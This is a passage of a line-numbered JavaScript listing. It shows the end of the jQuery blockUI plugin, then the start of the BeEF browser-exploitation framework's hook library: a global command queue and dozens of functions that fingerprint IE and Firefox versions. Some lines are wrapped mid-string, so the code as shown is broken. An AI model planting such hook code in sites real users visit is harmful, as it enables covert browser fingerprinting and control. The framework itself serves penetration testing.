  4565. (blah = document.documentElement.scrollTop ? document.documentElement.scrollTop :
  4566.  
  4567. document.body.scrollTop) + "px"');
  4568. s.marginTop = 0;
  4569. }
  4570. else if (!opts.centerY && full) {
  4571. var top = (opts.css && opts.css.top) ? parseInt
  4572.  
  4573. (opts.css.top, 10) : 0;
  4574. var expression =
  4575.  
  4576. '((document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) +
  4577.  
  4578. '+top+') + "px"';
  4579. s.setExpression('top',expression);
  4580. }
  4581. });
  4582. }
  4583.  
  4584. // show the message
  4585. if (msg) {
  4586. if (opts.theme)
  4587. lyr3.find('.ui-widget-content').append(msg);
  4588. else
  4589. lyr3.append(msg);
  4590. if (msg.jquery || msg.nodeType)
  4591. $(msg).show();
  4592. }
  4593.  
  4594. if ((msie || opts.forceIframe) && opts.showOverlay)
  4595. lyr1.show(); // opacity is zero
  4596. if (opts.fadeIn) {
  4597. var cb = opts.onBlock ? opts.onBlock : noOp;
  4598. var cb1 = (opts.showOverlay && !msg) ? cb : noOp;
  4599. var cb2 = msg ? cb : noOp;
  4600. if (opts.showOverlay)
  4601. lyr2._fadeIn(opts.fadeIn, cb1);
  4602. if (msg)
  4603. lyr3._fadeIn(opts.fadeIn, cb2);
  4604. }
  4605. else {
  4606. if (opts.showOverlay)
  4607. lyr2.show();
  4608. if (msg)
  4609. lyr3.show();
  4610. if (opts.onBlock)
  4611. opts.onBlock.bind(lyr3)();
  4612. }
  4613.  
  4614. // bind key and mouse events
  4615. bind(1, el, opts);
  4616.  
  4617. if (full) {
  4618. pageBlock = lyr3[0];
  4619. pageBlockEls = $(opts.focusableElements,pageBlock);
  4620. if (opts.focusInput)
  4621. setTimeout(focus, 20);
  4622. }
  4623. else
  4624. center(lyr3[0], opts.centerX, opts.centerY);
  4625.  
  4626. if (opts.timeout) {
  4627. // auto-unblock
  4628. var to = setTimeout(function() {
  4629. if (full)
  4630. $.unblockUI(opts);
  4631. else
  4632. $(el).unblock(opts);
  4633. }, opts.timeout);
  4634. $(el).data('blockUI.timeout', to);
  4635. }
  4636. }
  4637.  
  4638. // remove the block
  4639. function remove(el, opts) {
  4640. var count;
  4641. var full = (el == window);
  4642. var $el = $(el);
  4643. var data = $el.data('blockUI.history');
  4644. var to = $el.data('blockUI.timeout');
  4645. if (to) {
  4646. clearTimeout(to);
  4647. $el.removeData('blockUI.timeout');
  4648. }
  4649. opts = $.extend({}, $.blockUI.defaults, opts || {});
  4650. bind(0, el, opts); // unbind events
  4651.  
  4652. if (opts.onUnblock === null) {
  4653. opts.onUnblock = $el.data('blockUI.onUnblock');
  4654. $el.removeData('blockUI.onUnblock');
  4655. }
  4656.  
  4657. var els;
  4658. if (full) // crazy selector to handle odd field errors in ie6/7
  4659. els = $('body').children().filter('.blockUI').add('body > .blockUI');
  4660. else
  4661. els = $el.find('>.blockUI');
  4662.  
  4663. // fix cursor issue
  4664. if ( opts.cursorReset ) {
  4665. if ( els.length > 1 )
  4666. els[1].style.cursor = opts.cursorReset;
  4667. if ( els.length > 2 )
  4668. els[2].style.cursor = opts.cursorReset;
  4669. }
  4670.  
  4671. if (full)
  4672. pageBlock = pageBlockEls = null;
  4673.  
  4674. if (opts.fadeOut) {
  4675. count = els.length;
  4676. els.stop().fadeOut(opts.fadeOut, function() {
  4677. if ( --count === 0)
  4678. reset(els,data,opts,el);
  4679. });
  4680. }
  4681. else
  4682. reset(els, data, opts, el);
  4683. }
  4684.  
  4685. // move blocking element back into the DOM where it started
  4686. function reset(els,data,opts,el) {
  4687. var $el = $(el);
  4688. if ( $el.data('blockUI.isBlocked') )
  4689. return;
  4690.  
  4691. els.each(function(i,o) {
  4692. // remove via DOM calls so we don't lose event handlers
  4693. if (this.parentNode)
  4694. this.parentNode.removeChild(this);
  4695. });
  4696.  
  4697. if (data && data.el) {
  4698. data.el.style.display = data.display;
  4699. data.el.style.position = data.position;
  4700. data.el.style.cursor = 'default'; // #59
  4701. if (data.parent)
  4702. data.parent.appendChild(data.el);
  4703. $el.removeData('blockUI.history');
  4704. }
  4705.  
  4706. if ($el.data('blockUI.static')) {
  4707. $el.css('position', 'static'); // #22
  4708. }
  4709.  
  4710. if (typeof opts.onUnblock == 'function')
  4711. opts.onUnblock(el,opts);
  4712.  
  4713. // fix issue in Safari 6 where block artifacts remain until reflow
  4714. var body = $(document.body), w = body.width(), cssW = body[0].style.width;
  4715. body.width(w-1).width(w);
  4716. body[0].style.width = cssW;
  4717. }
  4718.  
  4719. // bind/unbind the handler
  4720. function bind(b, el, opts) {
  4721. var full = el == window, $el = $(el);
  4722.  
  4723. // don't bother unbinding if there is nothing to unbind
  4724. if (!b && (full && !pageBlock || !full && !$el.data('blockUI.isBlocked')))
  4725. return;
  4726.  
  4727. $el.data('blockUI.isBlocked', b);
  4728.  
  4729. // don't bind events when overlay is not in use or if bindEvents is false
  4730. if (!full || !opts.bindEvents || (b && !opts.showOverlay))
  4731. return;
  4732.  
  4733. // bind anchors and inputs for mouse and key events
  4734. var events = 'mousedown mouseup keydown keypress keyup touchstart
  4735.  
  4736. touchend touchmove';
  4737. if (b)
  4738. $(document).bind(events, opts, handler);
  4739. else
  4740. $(document).unbind(events, handler);
  4741.  
  4742. // former impl...
  4743. // var $e = $('a,:input');
  4744. // b ? $e.bind(events, opts, handler) : $e.unbind(events, handler);
  4745. }
  4746.  
  4747. // event handler to suppress keyboard/mouse events when blocking
  4748. function handler(e) {
  4749. // allow tab navigation (conditionally)
  4750. if (e.type === 'keydown' && e.keyCode && e.keyCode == 9) {
  4751. if (pageBlock && e.data.constrainTabKey) {
  4752. var els = pageBlockEls;
  4753. var fwd = !e.shiftKey && e.target === els[els.length-1];
  4754. var back = e.shiftKey && e.target === els[0];
  4755. if (fwd || back) {
  4756. setTimeout(function(){focus(back);},10);
  4757. return false;
  4758. }
  4759. }
  4760. }
  4761. var opts = e.data;
  4762. var target = $(e.target);
  4763. if (target.hasClass('blockOverlay') && opts.onOverlayClick)
  4764. opts.onOverlayClick(e);
  4765.  
  4766. // allow events within the message content
  4767. if (target.parents('div.' + opts.blockMsgClass).length > 0)
  4768. return true;
  4769.  
  4770. // allow events for content that is not being blocked
  4771. return target.parents().children().filter('div.blockUI').length === 0;
  4772. }
  4773.  
  4774. function focus(back) {
  4775. if (!pageBlockEls)
  4776. return;
  4777. var e = pageBlockEls[back===true ? pageBlockEls.length-1 : 0];
  4778. if (e)
  4779. e.focus();
  4780. }
  4781.  
  4782. function center(el, x, y) {
  4783. var p = el.parentNode, s = el.style;
  4784. var l = ((p.offsetWidth - el.offsetWidth)/2) - sz(p,'borderLeftWidth');
  4785. var t = ((p.offsetHeight - el.offsetHeight)/2) - sz(p,'borderTopWidth');
  4786. if (x) s.left = l > 0 ? (l+'px') : '0';
  4787. if (y) s.top = t > 0 ? (t+'px') : '0';
  4788. }
  4789.  
  4790. function sz(el, p) {
  4791. return parseInt($.css(el,p),10)||0;
  4792. }
  4793.  
  4794. }
  4795.  
  4796.  
  4797. /*global define:true */
  4798. if (typeof define === 'function' && define.amd && define.amd.jQuery) {
  4799. define(['jquery'], setup);
  4800. } else {
  4801. setup(jQuery);
  4802. }
  4803.  
  4804. })();
  4805.  
  4806.  
  4807. //
  4808. // Copyright (c) 2006-2015 Wade Alcorn - [email protected]
  4809. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  4810. // See the file 'doc/COPYING' for copying permission
  4811. //
  4812.  
  4813. /*!
  4814. * BeEF JS Library 0.4.6.1-alpha
  4815. * Register the BeEF JS on the window object.
  4816. */
  4817.  
  4818. $j = jQuery.noConflict();
  4819.  
  4820. if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
  4821.  
  4822. var BeefJS = {
  4823.  
  4824. version: '0.4.6.1-alpha',
  4825.  
  4826. // This get set to true during window.onload(). It's a useful hack when messing with
  4827.  
  4828. document.write().
  4829. pageIsLoaded: false,
  4830.  
  4831. // An array containing functions to be executed by the window.onpopstate() method.
  4832. onpopstate: new Array(),
  4833.  
  4834. // An array containing functions to be executed by the window.onclose() method.
  4835. onclose: new Array(),
  4836.  
  4837. // An array containing functions to be executed by Beef.
  4838. commands: new Array(),
  4839.  
  4840. // An array containing all the BeEF JS components.
  4841. components: new Array(),
  4842.  
  4843. /**
  4844. * Adds a function to display debug messages (wraps console.log())
  4845. * @param: {string} the debug string to return
  4846. */
  4847. debug: function(msg) {
  4848. if (!false) return;
  4849. if (typeof console == "object" && typeof console.log == "function") {
  4850. console.log(msg);
  4851. } else {
  4852. // TODO: maybe add a callback to BeEF server for debugging purposes
  4853. //window.alert(msg);
  4854. }
  4855. },
  4856.  
  4857. /**
  4858. * Adds a function to execute.
  4859. * @param: {Function} the function to execute.
  4860. */
  4861. execute: function(fn) {
  4862. if ( typeof beef.websocket == "undefined"){
  4863. this.commands.push(fn);
  4864. }else{
  4865. fn();
  4866. }
  4867. },
  4868.  
  4869.  
  4870.  
  4871. /**
  4872. * Registers a component in BeEF JS.
  4873. * @params: {String} the component.
  4874. *
  4875. * Components are very important to register so the framework does not
  4876. * send them back over and over again.
  4877. */
  4878. regCmp: function(component) {
  4879. this.components.push(component);
  4880. }
  4881.  
  4882. };
  4883.  
  4884. window.beef = BeefJS;
  4885. }
  4886.  
  4887.  
  4888. //
  4889. // Copyright (c) 2006-2015 Wade Alcorn - [email protected]
  4890. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  4891. // See the file 'doc/COPYING' for copying permission
  4892. //
  4893.  
  4894. /**
  4895. * @literal object: beef.browser
  4896. *
  4897. * Basic browser functions.
  4898. */
  4899. beef.browser = {
  4900.  
  4901. /**
  4902. * Returns the user agent that the browser is claiming to be.
  4903. * @example: beef.browser.getBrowserReportedName()
  4904. */
  4905. getBrowserReportedName: function () {
  4906. return navigator.userAgent;
  4907. },
  4908.  
  4909. /**
  4910. * Returns true if Avant Browser.
  4911. * @example: beef.browser.isA()
  4912. */
  4913. isA: function () {
  4914. return window.navigator.userAgent.match(/Avant TriCore/) != null;
  4915. },
  4916.  
  4917. /**
  4918. * Returns true if Iceweasel.
  4919. * @example: beef.browser.isI()
  4920. */
  4921. isI: function () {
  4922. return window.navigator.userAgent.match(/Iceweasel\/\d+\.\d/) != null;
  4923. },
  4924.  
  4925. /**
  4926. * Returns true if IE6.
  4927. * @example: beef.browser.isIE6()
  4928. */
  4929. isIE6: function () {
  4930. return !window.XMLHttpRequest && !window.globalStorage;
  4931. },
  4932.  
  4933. /**
  4934. * Returns true if IE7.
  4935. * @example: beef.browser.isIE7()
  4936. */
  4937. isIE7: function () {
  4938. return !!window.XMLHttpRequest && !window.chrome && !window.opera && !window.getComputedStyle
  4939.  
  4940. && !window.globalStorage && !document.documentMode;
  4941. },
  4942.  
  4943. /**
  4944. * Returns true if IE8.
  4945. * @example: beef.browser.isIE8()
  4946. */
  4947. isIE8: function () {
  4948. return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode
  4949.  
  4950. && !!window.XDomainRequest && !window.performance;
  4951. },
  4952.  
  4953. /**
  4954. * Returns true if IE9.
  4955. * @example: beef.browser.isIE9()
  4956. */
  4957. isIE9: function () {
  4958. return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode
  4959.  
  4960. && !window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints ===
  4961.  
  4962. "undefined";
  4963. },
  4964.  
  4965. /**
  4966. *
  4967. * Returns true if IE10.
  4968. * @example: beef.browser.isIE10()
  4969. */
  4970. isIE10: function () {
  4971. return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode
  4972.  
  4973. && !!window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints !==
  4974.  
  4975. "undefined";
  4976. },
  4977.  
  4978. /**
  4979. *
  4980. * Returns true if IE11.
  4981. * @example: beef.browser.isIE11()
  4982. */
  4983. isIE11: function () {
  4984. return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode
  4985.  
  4986. && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined" && typeof
  4987.  
  4988. document.selection === "undefined" && typeof document.createStyleSheet === "undefined" && typeof
  4989.  
  4990. window.createPopup === "undefined" && typeof window.XDomainRequest === "undefined";
  4991. },
  4992.  
  4993. /**
  4994. * Returns true if IE.
  4995. * @example: beef.browser.isIE()
  4996. */
  4997. isIE: function () {
  4998. return this.isIE6() || this.isIE7() || this.isIE8() || this.isIE9() || this.isIE10() || this.isIE11();
  4999. },
  5000.  
  5001. /**
  5002. * Returns true if FF2.
  5003. * @example: beef.browser.isFF2()
  5004. */
  5005. isFF2: function () {
  5006. return !!window.globalStorage && !window.postMessage;
  5007. },
  5008.  
  5009. /**
  5010. * Returns true if FF3.
  5011. * @example: beef.browser.isFF3()
  5012. */
  5013. isFF3: function () {
  5014. return !!window.globalStorage && !!window.postMessage && !JSON.parse;
  5015. },
  5016.  
  5017. /**
  5018. * Returns true if FF3.5.
  5019. * @example: beef.browser.isFF3_5()
  5020. */
  5021. isFF3_5: function () {
  5022. return !!window.globalStorage && !!JSON.parse && !window.FileReader;
  5023. },
  5024.  
  5025. /**
  5026. * Returns true if FF3.6.
  5027. * @example: beef.browser.isFF3_6()
  5028. */
  5029. isFF3_6: function () {
  5030. return !!window.globalStorage && !!window.FileReader && !window.multitouchData && !
  5031.  
  5032. window.history.replaceState;
  5033. },
  5034.  
  5035. /**
  5036. * Returns true if FF4.
  5037. * @example: beef.browser.isFF4()
  5038. */
  5039. isFF4: function () {
  5040. return !!window.globalStorage && !!window.history.replaceState && window.navigator.userAgent.match
  5041.  
  5042. (/Firefox\/4\./) != null;
  5043. },
  5044.  
  5045. /**
  5046. * Returns true if FF5.
  5047. * @example: beef.browser.isFF5()
  5048. */
  5049. isFF5: function () {
  5050. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/5\./) != null;
  5051. },
  5052.  
  5053. /**
  5054. * Returns true if FF6.
  5055. * @example: beef.browser.isFF6()
  5056. */
  5057. isFF6: function () {
  5058. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/6\./) != null;
  5059. },
  5060.  
  5061. /**
  5062. * Returns true if FF7.
  5063. * @example: beef.browser.isFF7()
  5064. */
  5065. isFF7: function () {
  5066. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/7\./) != null;
  5067. },
  5068.  
  5069. /**
  5070. * Returns true if FF8.
  5071. * @example: beef.browser.isFF8()
  5072. */
  5073. isFF8: function () {
  5074. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/8\./) != null;
  5075. },
  5076.  
  5077. /**
  5078. * Returns true if FF9.
  5079. * @example: beef.browser.isFF9()
  5080. */
  5081. isFF9: function () {
  5082. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/9\./) != null;
  5083. },
  5084.  
  5085. /**
  5086. * Returns true if FF10.
  5087. * @example: beef.browser.isFF10()
  5088. */
  5089. isFF10: function () {
  5090. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/10\./) != null;
  5091. },
  5092.  
  5093. /**
  5094. * Returns true if FF11.
  5095. * @example: beef.browser.isFF11()
  5096. */
  5097. isFF11: function () {
  5098. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/11\./) != null;
  5099. },
  5100.  
  5101. /**
  5102. * Returns true if FF12
  5103. * @example: beef.browser.isFF12()
  5104. */
  5105. isFF12: function () {
  5106. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/12\./) != null;
  5107. },
  5108.  
  5109. /**
  5110. * Returns true if FF13
  5111. * @example: beef.browser.isFF13()
  5112. */
  5113. isFF13: function () {
  5114. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/13\./) != null;
  5115. },
  5116.  
  5117. /**
  5118. * Returns true if FF14
  5119. * @example: beef.browser.isFF14()
  5120. */
  5121. isFF14: function () {
  5122. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/14\./) != null;
  5123. },
  5124.  
  5125. /**
  5126. * Returns true if FF15
  5127. * @example: beef.browser.isFF15()
  5128. */
  5129. isFF15: function () {
  5130. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/15\./) != null;
  5131. },
  5132.  
  5133. /**
  5134. * Returns true if FF16
  5135. * @example: beef.browser.isFF16()
  5136. */
  5137. isFF16: function () {
  5138. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/16\./) != null;
  5139. },
  5140.  
  5141. /**
  5142. * Returns true if FF17
  5143. * @example: beef.browser.isFF17()
  5144. */
  5145. isFF17: function () {
  5146. return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/17\./) != null;
  5147. },
  5148.  
  5149. /**
  5150. * Returns true if FF18
  5151. * @example: beef.browser.isFF18()
  5152. */
  5153. isFF18: function () {
  5154. return !!window.devicePixelRatio && !!window.history.replaceState &&
  5155.  
  5156. window.navigator.userAgent.match(/Firefox\/18\./) != null;
  5157. },
  5158.  
  5159. /**
  5160. * Returns true if FF19
  5161. * @example: beef.browser.isFF19()
  5162. */
  5163. isFF19: function () {
  5164. return !!window.devicePixelRatio && !!window.history.replaceState && typeof
  5165.  
  5166. navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/19\./) != null;
  5167. },
  5168.  
  5169. /**
  5170. * Returns true if FF20
  5171. * @example: beef.browser.isFF20()
  5172. */
  5173. isFF20: function () {
  5174. return !!window.devicePixelRatio && !!window.history.replaceState && typeof
  5175.  
  5176. navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/20\./) != null;
  5177. },
  5178.  
  5179. /**
  5180. * Returns true if FF21
  5181. * @example: beef.browser.isFF21()
  5182. */
  5183. isFF21: function () {
  5184. return !!window.devicePixelRatio && !!window.history.replaceState && typeof
  5185.  
  5186. navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
  5187.  
  5188. window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/21\./) !=
  5189.  
  5190. null;
  5191. },
  5192.  
  5193. /**
  5194. * Returns true if FF22
  5195. * @example: beef.browser.isFF22()
  5196. */
  5197. isFF22: function () {
  5198. return !!window.devicePixelRatio && !!window.history.replaceState && typeof
  5199.  
  5200. navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
  5201.  
  5202. window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/22\./) !=
  5203.  
  5204. null;
  5205. },
  5206.  
  5207. /**
  5208. * Returns true if FF23
  5209. * @example: beef.browser.isFF23()
  5210. */
  5211. isFF23: function () {
  5212. return !!window.devicePixelRatio && !!window.history.replaceState && typeof
  5213.  
  5214. navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
  5215.  
  5216. window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/23\./) !=
  5217.  
  5218. null;
  5219. },
  5220.  
  5221. /**
  5222. * Returns true if FF24
  5223. * @example: beef.browser.isFF24()
  5224. */
  5225. isFF24: function () {
  5226. return !!window.devicePixelRatio && !!window.history.replaceState && typeof
  5227.  
  5228. navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
  5229.  
  5230. window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/24\./) !=
  5231.  
  5232. null;
  5233. },
  5234.  
  5235. /**
  5236. * Returns true if FF25
  5237. * @example: beef.browser.isFF25()
  5238. */
  5239. isFF25: function () {
  5240. return !!window.devicePixelRatio && !!window.history.replaceState && typeof
  5241.  
  5242. navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
  5243.  
  5244. window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/25\./) !=
  5245.  
  5246. null;
  5247. },
  5248.  
  5249. /**
  5250. * Returns true if FF26
  5251. * @example: beef.browser.isFF26()
  5252. */
  5253. isFF26: function () {
  5254. return !!window.devicePixelRatio && !!window.history.replaceState && typeof
  5255.  
  5256. navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
  5257.  
  5258. window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/26./) !=
  5259.  
  5260. null;
  5261. },
  5262.  
  5263. /**
  5264. * Returns true if FF27
  5265. * @example: beef.browser.isFF27()
  5266. */
  5267. isFF27: function () {
  5268. return !!window.devicePixelRatio && !!window.history.replaceState && typeof
  5269.  
  5270. navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
  5271.  
  5272. window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' &&
  5273.  
  5274. window.navigator.userAgent.match(/Firefox\/27./) != null;
  5275. },
  5276.  
  5277. /**
  5278. * Returns true if FF28
  5279. * @example: beef.browser.isFF28()
  5280. */
  5281. isFF28: function () {
  5282. return !!window.devicePixelRatio && !!window.history.replaceState && typeof
  5283.  
  5284. navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
  5285.  
  5286. window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof
  5287.  
  5288. String.prototype.codePointAt !== 'function' && window.navigator.userAgent.match(/Firefox\/28./) != null;
  5289. },
  5290.  
  5291. /**
  5292. * Returns true if FF29
  5293. * @example: beef.browser.isFF29()
  5294. */
  5295. isFF29: function () {
  5296. return !!window.devicePixelRatio && !!window.history.replaceState && typeof
  5297.  
  5298. navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
  5299.  
  5300. window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof
  5301.  
  5302. String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/29./) != null;
  5303. },
  5304.  
  5305. /**
  5306. * Returns true if FF30
  5307. * @example: beef.browser.isFF30()
  5308. */
  5309. isFF30: function () {
  5310. return !!window.devicePixelRatio && !!window.history.replaceState && typeof
  5311.  
  5312. navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
  5313.  
  5314. window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof
  5315.  
  5316. String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/30./) != null;
  5317. },
  5318.  
  5319. /**
  5320. * Returns true if FF31
  5321. * @example: beef.browser.isFF31()
  5322. */
  5323. isFF31: function () {
  5324. return !!window.devicePixelRatio && !!window.history.replaceState && typeof
  5325.  
  5326. navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
  5327.  
  5328. window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof
  5329.  
  5330. String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/31./) != null;
  5331. },
  5332.  
  5333. /**
  5334. * Returns true if FF32
  5335. * @example: beef.browser.isFF32()
  5336. */
  5337. isFF32: function () {
  5338. return !!window.devicePixelRatio && !!window.history.replaceState && typeof
  5339.  
  5340. navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
  5341.  
  5342. window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof
  5343.  
  5344. String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' &&
  5345.  
  5346. window.navigator.userAgent.match(/Firefox\/32./) != null;
  5347. },
  5348.  
  5349. /**
  5350. * Returns true if FF33
  5351. * @example: beef.browser.isFF33()
  5352. */
  5353. isFF33: function () {
  5354. return !!window.devicePixelRatio && !!window.history.replaceState && typeof
  5355.  
  5356. navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
  5357.  
  5358. window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof
  5359.  
  5360. String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' &&
  5361.  
  5362. window.navigator.userAgent.match(/Firefox\/33./) != null;
  5363. },
  5364.  
  5365. /**
  5366. * Returns true if FF34
  5367. * @example: beef.browser.isFF34()
  5368. */
  5369. isFF34: function () {
  5370. return !!window.devicePixelRatio && !!window.history.replaceState && typeof
  5371.  
  5372. navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
  5373.  
  5374. window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof
  5375.  
  5376. String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' &&
  5377.  
  5378. window.navigator.userAgent.match(/Firefox\/34./) != null;
  5379. },
  5380.  
  5381. /**
  5382. * Returns true if FF35
  5383. * @example: beef.browser.isFF35()
  5384. */
  5385. isFF35: function () {
  5386. return !!window.devicePixelRatio && !!window.history.replaceState && typeof
  5387.  
  5388. navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
  5389.  
  5390. window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof
  5391.  
  5392. String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' &&
  5393.  
  5394. window.navigator.userAgent.match(/Firefox\/35./) != null;
  5395. },
  5396.  
  5397. /**
  5398. * Returns true if FF36
  5399. * @example: beef.browser.isFF36()
  5400. */
  5401. isFF36: function () {
  5402. return !!window.devicePixelRatio && !!window.history.replaceState && typeof
  5403.  
  5404. navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
  5405.  
  5406. window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof
  5407.  
  5408. String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' &&
  5409.  
  5410. window.navigator.userAgent.match(/Firefox\/36./) != null;
  5411. },
  5412.  
  5413. /**
  5414. * Returns true if FF37
  5415. * @example: beef.browser.isFF37()
  5416. */
  5417. isFF37: function () {
  5418. return !!window.devicePixelRatio && !!window.history.replaceState && typeof
  5419.  
  5420. navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
  5421.  
  5422. window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof
  5423.  
  5424. String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' &&
  5425.  
  5426. window.navigator.userAgent.match(/Firefox\/37./) != null;
  5427. },
  5428.  
  5429. /**
  5430. * Returns true if FF38
  5431. * @example: beef.browser.isFF38()
  5432. */
  5433. isFF38: function () {
  5434. return !!window.devicePixelRatio && !!window.history.replaceState && typeof
  5435.  
  5436. navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
  5437.  
  5438. window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof
  5439.  
  5440. String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' &&
  5441.  
  5442. window.navigator.userAgent.match(/Firefox\/38./) != null;
  5443. },
  5444.  
  5445. /**
  5446. * Returns true if FF39
  5447. * @example: beef.browser.isFF39()
  5448. */
  5449. isFF39: function () {
  5450. return !!window.devicePixelRatio && !!window.history.replaceState && typeof
  5451.  
  5452. navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
  5453.  
  5454. window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof
  5455.  
  5456. String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' &&
  5457.  
  5458. window.navigator.userAgent.match(/Firefox\/39./) != null;
  5459. },
  5460.  
  5461. /**
  5462. * Returns true if FF40
  5463. * @example: beef.browser.isFF40()
  5464. */
  5465. isFF40: function () {
  5466. return !!window.devicePixelRatio && !!window.history.replaceState && typeof
  5467.  
  5468. navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
  5469.  
  5470. window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof
  5471.  
  5472. String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' &&
  5473.  
  5474. window.navigator.userAgent.match(/Firefox\/40./) != null;
  5475. },
  5476.  
  5477. /**
  5478. * Returns true if FF41
  5479. * @example: beef.browser.isFF41()
  5480. */
  5481. isFF41: function () {
  5482. return !!window.devicePixelRatio && !!window.history.replaceState && typeof
  5483.  
  5484. navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
  5485.  
  5486. window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof
  5487.  
  5488. String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' &&
  5489.  
  5490. window.navigator.userAgent.match(/Firefox\/41./) != null;
  5491. },
  5492.  
  5493. /**
  5494. * Returns true if FF42
  5495. * @example: beef.browser.isFF42()
  5496. */
  5497. isFF42: function () {
  5498. return !!window.devicePixelRatio && !!window.history.replaceState && typeof
  5499.  
  5500. navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
  5501.  
  5502. window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof
  5503.  
  5504. String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' &&
  5505.  
  5506. window.navigator.userAgent.match(/Firefox\/42./) != null;
  5507. },
  5508.  
  5509. /**
  5510. * Returns true if FF43
  5511. * @example: beef.browser.isFF43()
  5512. */
  5513. isFF43: function () {
  5514. return !!window.devicePixelRatio && !!window.history.replaceState && typeof
  5515.  
  5516. navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof
  5517.  
  5518. window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof
  5519.  
  5520. String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' &&
  5521.  
  5522. window.navigator.userAgent.match(/Firefox\/43./) != null;
  5523. },
  5524.  
  5525. /**
  5526. * Returns true if FF.
  5527. * @example: beef.browser.isFF()
  5528. */
